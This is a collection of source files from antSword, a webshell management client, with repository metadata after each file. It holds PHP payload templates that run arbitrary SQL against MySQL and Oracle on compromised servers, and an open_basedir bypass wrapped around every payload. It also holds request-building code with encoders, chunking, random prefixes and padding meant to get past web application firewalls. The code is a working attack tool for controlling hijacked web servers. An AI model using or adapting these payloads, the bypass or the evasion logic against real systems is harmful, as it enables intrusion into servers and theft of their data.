value: `<i class="fa fa-cloud-download"></i> ${LANG["prompt"]["btns"]["ok"]}`,
className: "background-color: #39c;"
}, {
type: "newcolumn",
offset: 20
}, {
type: "button",
name: "changelogbtn",
value: `<i class="fa fa-chrome"></i> ${LANG["prompt"]["btns"]["changelog"]}`
}, {
type: "newcolumn",
offset: 20
}, {
type: "button",
name: "canclebtn",
value: `<i class="fa fa-remove"></i> ${LANG["prompt"]["btns"]["no"]}`
}]
}];
uplayout
.cells('a')
.attachForm(formdata, true);
win
.win
.attachEvent('onParkUp', () => {
if (win.win.isParked()) {
win
.win
.wins
._winSetSize(win.win._idd, 240, (win.win.wins.w[win.win._idd].hdr.offsetHeight + win.win.wins.conf.ofs_h), false, true);
}
win
.win
.setPosition(document.body.clientWidth - 300, document.body.clientHeight - 150);
return true;
});
win
.win
.attachEvent('onParkDown', () => {
win
.win
.setDimension(478, 428);
win
.win
.centerOnScreen();
return true;
});
const form = uplayout
.cells('a')
.attachForm(formdata, true);
let form_body = new dhtmlXLayoutObject(form.getContainer('form_body'), '1C');
form_body
.cells('a')
.hideHeader();
const marked = require('marked');
let _html = `<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
body {
zoom:80%;
}
img {
width:100%;
}
</style>
</head>
<body>
${marked(opt['body']).replace(/<a.+?(href=".+?")/g, "<a")}
</body>
</html>`;
form_body
.cells('a')
.attachHTMLString(`<iframe sandbox="" src="data:text/html;base64,${Buffer.from(_html).toString('base64')}" style="width:100%;height:100%;border:0;padding:0;margin:0;"></iframe>`);
form.attachEvent("onButtonClick", (name) => {
switch (name) {
case "updatebtn":
var workdir = antSword.remote.process.env.AS_WORKDIR;
if (fs.existsSync(path.join(workdir, ".git/"))) {
win.close();
layer.alert(LANG["message"]["githint"](workdir));
return
}
const hash = (String(+new Date) + String(Math.random()))
.substr(10, 10)
.replace('.', '_');
//
win
.win
.park();
antSword
.ipcRenderer
.send("update-download", {
hash: hash
});
win
.win
.progressOn();
win.setTitle(LANG["message"]["prepare"]);
antSword['ipcRenderer'].on(`update-dlprogress-${hash}`, (event, progress, isprogress) => {
if (isprogress == true) {
win.setTitle(LANG["message"]["dling"](progress));
} else {
win.setTitle(LANG["message"]["dlingnp"](getFileSize(progress)));
}
}).once(`update-dlend-${hash}`, (event) => {
win.setTitle(LANG["message"]["dlend"]);
win
.win
.progressOff();
toastr.success(antSword["language"]["success"], LANG["message"]["extract"]);
}).once(`update-error-${hash}`, (event, err) => {
win
.win
.progressOff();
win.close();
toastr.error(antSword["language"]['error'], LANG["message"]["fail"](err));
});
break;
case "canclebtn":
win.close();
break;
case "changelogbtn":
antSword
.shell
.openExternal(opt['url']);
break;
}
});
}).on('update-success', (e, opt) => {
const LANG = antSword['language']['settings']['update'];
toastr.success(antSword["language"]["success"], LANG["message"]["success"]);
layer.confirm(LANG['message']['success'], {
icon: 1,
shift: 6,
title: LANG['prompt']['title']
}, (_) => {
// location.reload();
antSword
.remote
.app
.quit();
});
})
/**
*
* @param {[type]} 'reloadPlug' [description]
* @param {[type]} ( [description]
* @return {[type]} [description]
*/
.on('reloadPlug', antSword.reloadPlug.bind(antSword))
/**
*
* +
* - `antSword.logs[id]`
*/
.on('logger-debug', (e, opt) => {
groupLog(opt, '#607D8B');
}).on('logger-info', (e, opt) => {
groupLog(opt, '#4CAF50');
}).on('logger-warn', (e, opt) => {
groupLog(opt, '#FF9800');
}).on('logger-fatal', (e, opt) => {
groupLog(opt, '#E91E63');
});
antSword.reloadPlug();
antSword['menubar'].reg('check-update', () => {
antSword
.ipcRenderer
.send('check-update');
antSword
.ipcRenderer
.send('check-loader-update');
});
if (new Date() - new Date(parseInt(antSword['storage']('lastautocheck', false, "0"))) >= 86400000) {
//
antSword['storage']('lastautocheck', new Date().getTime());
setTimeout(() => {
antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-update');
antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-loader-update');
}, 1000 * 60);
}
``` | /content/code_sandbox/source/app.entry.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 5,239 |
```javascript
/**
* ::mysql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$T=@mysql_connect($hst,$usr,$pwd);
$q=@mysql_query("SHOW DATABASES");
while($rs=@mysql_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mysql_close($T);`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$T=@mysql_connect($hst,$usr,$pwd);
$q=@mysql_query("SHOW TABLES FROM \`{$dbn}\`");
while($rs=@mysql_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mysql_close($T);`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$tab=base64_decode("#{base64::table}");
$T=@mysql_connect($hst,$usr,$pwd);
@mysql_select_db( $dbn, $T);
$q=@mysql_query("SHOW COLUMNS FROM \`{$tab}\`");
while($rs=@mysql_fetch_row($q)){
echo(trim($rs[0])." (".$rs[1].")".chr(9));
}
@mysql_close($T);`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$sql=base64_decode("#{base64::sql}");
$T=@mysql_connect($hst,$usr,$pwd);
@mysql_query("SET NAMES ".base64_decode("#{base64::encode}"));
@mysql_select_db($dbn, $T);
$q=@mysql_query($sql);
if(is_bool($q)){
echo("Status\\t|\\t\\r\\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\\t|\\t\\r\\n");
}else{
$i=0;
while($col=@mysql_fetch_field($q)){
echo($col->name."\\t|\\t");
$i++;
}
echo("\\r\\n");
while($rs=@mysql_fetch_row($q)){
for($c=0;$c<$i;$c++){
echo(base64_encode(trim($rs[$c])));
echo("\\t|\\t");
}
echo("\\r\\n");
}
}
@mysql_close($T);`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/phpraw/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 777 |
```javascript
/**
* ::
* 2016/04/12
* -
* <path_to_url
*/
'use strict';
class Core {
/**
* AntSword Core init
* @return {object}
*/
constructor() {
//
let cores = {};
antSword['core_types'].map((_) => {
cores[_] = require(`./${_}/index`);
});
//
return cores;
}
}
module.exports = new Core();
``` | /content/code_sandbox/source/core/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 105 |
```javascript
/**
* php::base64
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc base64
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'base64');
}
}
``` | /content/code_sandbox/source/core/phpraw/decoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 124 |
```javascript
'use strict';
// import Base from '../base';
const Base = require('../base');
class PHPRAW extends Base {
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/mysql',
'database/mysqli',
'database/mssql',
'database/sqlsrv',
'database/oracle',
'database/oracle_oci8',
'database/postgresql',
'database/postgresql_pdo',
'database/sqlite3',
'database/sqlite_pdo',
].map((_) => {
this.parseTemplate(`./phpraw/template/${_}`);
});
//
this
.encoders
.map((_) => {
this.parseEncoder(`./phpraw/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./phpraw/decoder/${_}`);
});
}
/**
*
* ? antSword.core.php.prototype.encoders
* @return {array}
*/
get encoders() {
return ["base64", "hex", "behinder3", "behinder3xor"];
}
get decoders() {
return ["default", "base64", "rot13"];
}
/**
* HTTP
* @param {Object} data
* @param {bool} force_default default
* @return {Promise} Promise
*/
complete(data, force_default = false) {
//
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-";
}
let asencCode;
let ext = {
opts: this.__opts__,
};
if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext);
} else {
asencCode = this.__decoder__['default'].asoutput(ext);
}
//
// @chdir('.');@ini_set('open_basedir','..');for($i=0;$i<10;$i++){@chdir('..');}@ini_set('open_basedir','/');
let tmpCode = data['_'];
let opdir = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5));
let bypassOpenBaseDirCode = `
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.${opdir}";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir);
for($i=0;$i<sizeof($cntarr)+5;$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};`.replace(/\n\s+/g, '');
data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);${bypassOpenBaseDirCode};${asencCode};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s.substr(0,tag_s.length/2)}"."${tag_s.substr(tag_s.length/2)}";echo @asenc($output);echo "${tag_e.substr(0,tag_e.length/2)}"."${tag_e.substr(tag_e.length/2)}";}ob_start();try{${tmpCode};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();`;
//
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = PHPRAW;
``` | /content/code_sandbox/source/core/phpraw/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,126 |
```javascript
/**
* ::oracle
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$sid=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$H=@Ora_Logon("\${usr}/\${pwd}@\${sid}","");
if(!$H){
echo("ERROR:// Login Failed!");
}else{
$T=@ora_open($H);
@ora_commitoff($H);
$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");
if(ora_exec($T)){
while(ora_fetch($T)){
echo(trim(ora_getcolumn($T,0)).chr(9));
}
}
@ora_close($T);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
//
show_tables: {
_: `
$sid=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");
if(!$H){
echo("ERROR:// Login Failed!");
}else{
$T=@ora_open($H);
@ora_commitoff($H);
$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");
if(ora_exec($T)){
while(ora_fetch($T)){
echo(trim(ora_getcolumn($T,0)).chr(9));
}
}
@ora_close($T);
};`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `
$sid=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$tab=base64_decode("#{base64::table}");
$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");
if(!$H){
echo("ERROR:// Login Failed!");
}else{
$T=@ora_open($H);
@ora_commitoff($H);
$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tab}' ORDER BY COLUMN_ID");
if(ora_exec($T)){
while(ora_fetch($T)){
echo(trim(ora_getcolumn($T,0))." (".ora_getcolumn($T,1).")".chr(9));
}
}
@ora_close($T);
};`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `
$sid=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$sql=base64_decode("#{base64::sql}");
$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");
if(!$H){
echo("ERROR:// Login Failed!");
}else{
$T=@ora_open($H);
@ora_commitoff($H);
$q=@ora_parse($T,"{$sql}");
$R=ora_exec($T);
if($R){
$n=ora_numcols($T);
for($i=0;$i<$n;$i++){
echo(Ora_ColumnName($T,$i)."\\t|\\t");
}
echo("\\r\\n");
while(ora_fetch($T)){
for($i=0;$i<$n;$i++){
echo(base64_encode(trim(ora_getcolumn($T,$i))));
echo("\\t|\\t");
}echo("\\r\\n");
}
}else{
echo("Status\\t|\\t\\r\\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\\t|\\t\\r\\n");
}
@ora_close($T);
};`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/phpraw/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 995 |
```javascript
/**
* UI::Window
* -
* 2016/05/03
* -
* <path_to_url
*/
'use strict';
class Window {
/**
*
* @param {Object} opts title,width,height
* @return {[type]} [description]
*/
constructor(opts) {
// ID
let id = 'win_' + (Math.random() * +new Date)
.toString(16)
.replace('.', '')
.substr(0, 11);
//
let opt = $.extend({
title: id,
width: 500,
height: 400,
// dom
view: document.body
}, opts);
//
let winObj = new dhtmlXWindows();
winObj.attachViewportTo(opt['view']);
let win = winObj.createWindow(id, 0, 0, opt['width'], opt['height']);
win.setText(antSword.noxss(opt['title']));
win.centerOnScreen();
win
.button('minmax')
.show();
win
.button('minmax')
.enable();
this.win = win;
}
/**
*
* @return {[type]} [description]
*/
close() {
this
.win
.close();
}
/**
*
* @param {String} title = 'New Title'
*/
setTitle(title = 'New Title') {
this
.win
.setText(antSword.noxss(title));
}
}
module.exports = Window;
``` | /content/code_sandbox/source/ui/window.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 348 |
```javascript
/*
Driver={MySql ODBC 5.2 Unicode Driver};Server=localhost;database=information_schema;UID=root;PWD=root;
*/
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspxcsharp/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 37 |
```javascript
/**
* ::::
* 2016/04/12
* 2019/09/02 (@Ch1ngg)
* <path_to_url
*/
'use strict';
const iconv = require('iconv-lite');
const NodeRSA = require('node-rsa');
const fs = require('fs');
class Base {
/**
* Raw Body
*/
static get supportRawBody() {
return false;
}
/**
*
* @param {Object} opts
* @return {Object} this
*/
constructor(opts) {
//
opts['encode'] = opts['encode'] || 'utf8';
opts['encoder'] = opts['encoder'] || 'default';
this.__opts__ = opts;
this['__encoder__'] = {
/**
*
* @param {String} pwd
* @param {Object} data
* @return {Object}
*/
default (pwd, data) {
data[pwd] = data['_'];
delete data['_'];
return data;
},
/**
* v2.1.11 Remove random encoder
*/
// /**
// *
// * @param {String} pwd
// * @param {Object} data
// * @return {Object}
// */
// random(pwd, data) {
// let _encoders = [];
// for (let _ in this) {
// if (_ === 'random') {
// continue
// }
// _encoders.push(_);
// }
// let _index = parseInt(Math.random() * _encoders.length);
// return this[_encoders[_index]](pwd, data);
// }
}
this['__decoder__'] = {}
//
this
.user_encoders
.map((_) => {
this.parseEncoder(`${_}`);
});
this
.user_decoders
.map((_) => {
this.parseDecoder(`${_}`);
});
}
/**
* RSA
* @return {Object}
*/
rsaEncrypt() {
let key = new NodeRSA();
try {
let priKey = fs.readFileSync(path.join(remote.process.env.AS_WORKDIR, `antData/key_rsa`));
if (priKey.length > 0) {
key.importKey(priKey.toString(), 'private');
}
} catch (e) {}
return key;
}
/**
*
* @param {array} array
* @param {array} excludes
* @param {int} len , 6
*/
getRandomVariable(array, excludes = [], len = 6) {
var tmp = [];
while (tmp.length < len) {
let v = array[Math.ceil(Math.random() * array.length - 1)];
excludes.indexOf(v) === -1 && tmp.indexOf(v) === -1 && tmp.push(v);
}
return tmp;
}
/**
*
* @return {array} [arg1, arg2, arg3..]
*/
argv() {
//
let random;
if (this.__opts__.otherConf["use-random-variable"] == 1) {
// , body pwd
let excludes = Object.keys(this.__opts__.httpConf.body).concat(this.__opts__.pwd);
return antSword['utils'].RandomChoice(antSword['RANDOMWORDS'], excludes, 6);
} else {
random = () => `${antSword['utils'].RandomLowercase()}${(Math.random() + Math.random()).toString(16).substr(2)}`; //
return [
random(),
random(),
random(),
random(),
random(),
random()
];
}
}
/**
*
* const format = new format()
* @param {String} encode [utf8]
* @return {Object} []
*/
format(opts) {
let encode = opts['encode'];
let randomPrefix = parseInt(opts.otherConf["random-Prefix"]);
return {
/**
* base64
* @param {String} str
* @return {String}
*/
base64(str) {
return Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
},
/**
* base64
* @param {String} str
* @return {String}
*/
newbase64(str) {
let randomString = (length) => {
let chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
return randomString(randomPrefix) + Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
},
newb64buffer(str) {
let randomString = (length) => {
let chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
let buff = Buffer.from(str).toString('hex').toUpperCase();
return randomString(randomPrefix) + Buffer.from(iconv.encode(Buffer.from(buff), encode)).toString('base64');
},
/**
* 16
* @param {String} str
* @return {Buffer} buffer
*/
buffer(str) {
return Buffer
.from(str)
.toString('hex')
.toUpperCase();
},
/**
* 16
* @param {String} str
* @return {Buffer} buffer
*/
hex(str) {
return Buffer.from(iconv.encode(Buffer.from(str), encode))
.toString('hex')
.toUpperCase();
}
}
}
/**
*
* @param {String} tpl
* @return {Object} `_`
*/
parseTemplate(tpl) {
// `/``_`
let templateName = (tpl.split('template/')[1]).replace(/\//g, '_');
this[templateName] = {};
//
let _argv = this.argv();
let templateObj = require(`${tpl}`)(_argv[0], _argv[1], _argv[2], _argv[3], _argv[4], _argv[5]);
let formatter = Base
.prototype
.format(this.__opts__);
//
for (let funcName in templateObj) {
this[templateName][funcName] = ((args) => {
if (typeof(args) === 'object') {
//
return (argv) => {
let data = {};
//
for (let _ in args) {
data[_] = args[_];
}
//
for (let arg in args) {
(args[arg].match(/#{([\w\:]+)}/g) || []).map(
// example: #{hex::str} = hex(str), #{arg1} = arg1
(tag) => {
let tagStr = tag.substr(2, tag.length - 3);
let tagArr = tagStr.split('::');
let func,
retStr;
if ((tagArr.length > 0) && (func = formatter[tagArr[0]])) {
//
retStr = func(argv[tagArr[1] || '']);
} else {
//
retStr = argv[tagStr] || '';
}
//
data[arg] = data[arg].replace(tag, retStr);
})
}
// HTTP
data['_'] = data['_'].replace(/#randomPrefix#/g, this.__opts__.otherConf["random-Prefix"]);
return data;
}
} else {
//
return () => ({
_: args
});
}
})(templateObj[funcName]);
}
}
/**
*
* ? `_`
* @param {String} enc
* @return {Object}
*/
parseEncoder(enc) {
//
// path_to_url#issuecomment-475842870
delete require.cache[require.resolve(`${enc}`)];
// QAQrequirebabelwarningso`
this['__encoder__'][enc.indexOf(`encoder/`) > -1 ?
enc.split(`encoder/`)[1] :
enc.split(`encoder\\`)[1]
] = require(`${enc}`);
}
parseDecoder(dec) {
delete require.cache[require.resolve(`${dec}`)];
this['__decoder__'][dec.indexOf(`decoder/`) > -1 ?
dec.split(`decoder/`)[1] :
dec.split(`decoder\\`)[1]
] = require(`${dec}`);
}
/**
*
* @param {String} tag_s
* @param {String} tag_e
* @param {Object} data POST
* @return {Object} // tag_s,tag_e,data
*/
encodeComplete(tag_s, tag_e, data) {
let ext = {
opts: this.__opts__,
rsa: this.rsaEncrypt()
}
//
let finalData = this.__encoder__[this.__opts__['encoder']](this.__opts__['pwd'], data, ext);
return {
'tag_s': tag_s,
'tag_e': tag_e,
'data': finalData
};
}
/**
* HTTP
* ? core.request(core.base.info()).then((ret) => {}).catch((e) => {})..
* @param {Object} code
* @param {Function} chunkCallBack
* @return {Promise} Promise
*/
request(code, chunkCallBack) {
const opt = this.complete(code);
let ext = {
opts: this.__opts__,
rsa: this.rsaEncrypt()
}
let useRaw = this.__opts__['type'].endsWith("raw") || (this.constructor.supportRawBody && (this.__opts__['otherConf'] || {})['use-raw-body'] === 1);
let useWebSocket = (this.__opts__['url'].startsWith('ws://') || this.__opts__['url'].startsWith('wss://'));
return new Promise((res, rej) => {
// ID()
const hash = (String(+new Date) + String(Math.random()))
.substr(10, 10)
.replace('.', '_');
console.log(hash);
//
antSword['ipcRenderer']
// {text,buff}
.once(`request-${hash}`, (event, ret) => {
let buff = this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret['buff'], ext);
let encoding = antSword
.Decodes
.detectEncoding(buff, {
defaultEncoding: "unknown"
});
encoding = encoding != "unknown" ?
encoding :
this.__opts__['encode'];
let text = antSword.Decodes.decode(buff, encoding);
return res({
'encoding': encoding || "",
'text': antSword.noxss(text, false),
'buff': Buffer.from(antSword.noxss(buff.toString(), false))
});
})
// HTTP
.on(`request-chunk-${hash}`, (event, ret) => {
return chunkCallBack ?
chunkCallBack(this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret)) :
null;
})
//
.once(`request-error-${hash}`, (event, ret) => {
return rej(ret);
})
//
.send('request', {
url: this.__opts__['url'],
pwd: this.__opts__['pwd'],
hash: hash,
data: opt['data'],
tag_s: opt['tag_s'],
tag_e: opt['tag_e'],
encode: this.__opts__['encode'],
ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,
useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1,
chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2,
chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
randomPrefix: parseInt((this.__opts__['otherConf'] || {})['random-Prefix']),
useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1,
useRaw: useRaw,
useWebSocket: useWebSocket,
timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
headers: (this.__opts__['httpConf'] || {})['headers'] || {},
body: (this.__opts__['httpConf'] || {})['body'] || {}
});
})
}
/**
* Electron
* @param {String} savePath
* @param {Object} postCode
* @param {Function} progressCallback
* @return {Promise} Promise
*/
download(savePath, postCode, progressCallback) {
const opt = this.complete(postCode, true);
let useRaw = this.__opts__['type'].endsWith("raw") || (this.constructor.supportRawBody && (this.__opts__['otherConf'] || {})['use-raw-body'] === 1);
let useWebSocket = (this.__opts__['url'].startsWith('ws://') || this.__opts__['url'].startsWith('wss://'));
return new Promise((ret, rej) => {
// ID()
const hash = (String(+new Date) + String(Math.random()))
.substr(10, 10)
.replace('.', '_');
//
antSword['ipcRenderer']
// (size)
.once(`download-${hash}`, (event, size) => {
return ret(size);
})
// HTTP
.on(`download-progress-${hash}`, (event, size) => {
return progressCallback ?
progressCallback(size) :
null;
})
//
.once(`download-error-${hash}`, (event, ret) => {
throw new Error(ret);
})
//
.send('download', {
url: this.__opts__['url'],
pwd: this.__opts__['pwd'],
hash: hash,
path: savePath,
data: opt['data'],
tag_s: opt['tag_s'],
tag_e: opt['tag_e'],
encode: this.__opts__['encode'],
ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,
useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1,
chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2,
chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
randomPrefix: parseInt((this.__opts__['otherConf'] || {})['random-Prefix']),
useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1,
useRaw: useRaw,
useWebSocket: useWebSocket,
timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
headers: (this.__opts__['httpConf'] || {})['headers'] || {},
body: (this.__opts__['httpConf'] || {})['body'] || {}
});
})
}
}
// export default Base;
module.exports = Base;
``` | /content/code_sandbox/source/core/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 3,575 |
```javascript
/**
* aspxcsharp::default
*/
'use strict';
module.exports = {
asoutput: () => {
return ``.replace(/\n\s+/g, '');
},
decode_buff: (buff) => {
return buff;
}
}
``` | /content/code_sandbox/source/core/aspxcsharp/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 55 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.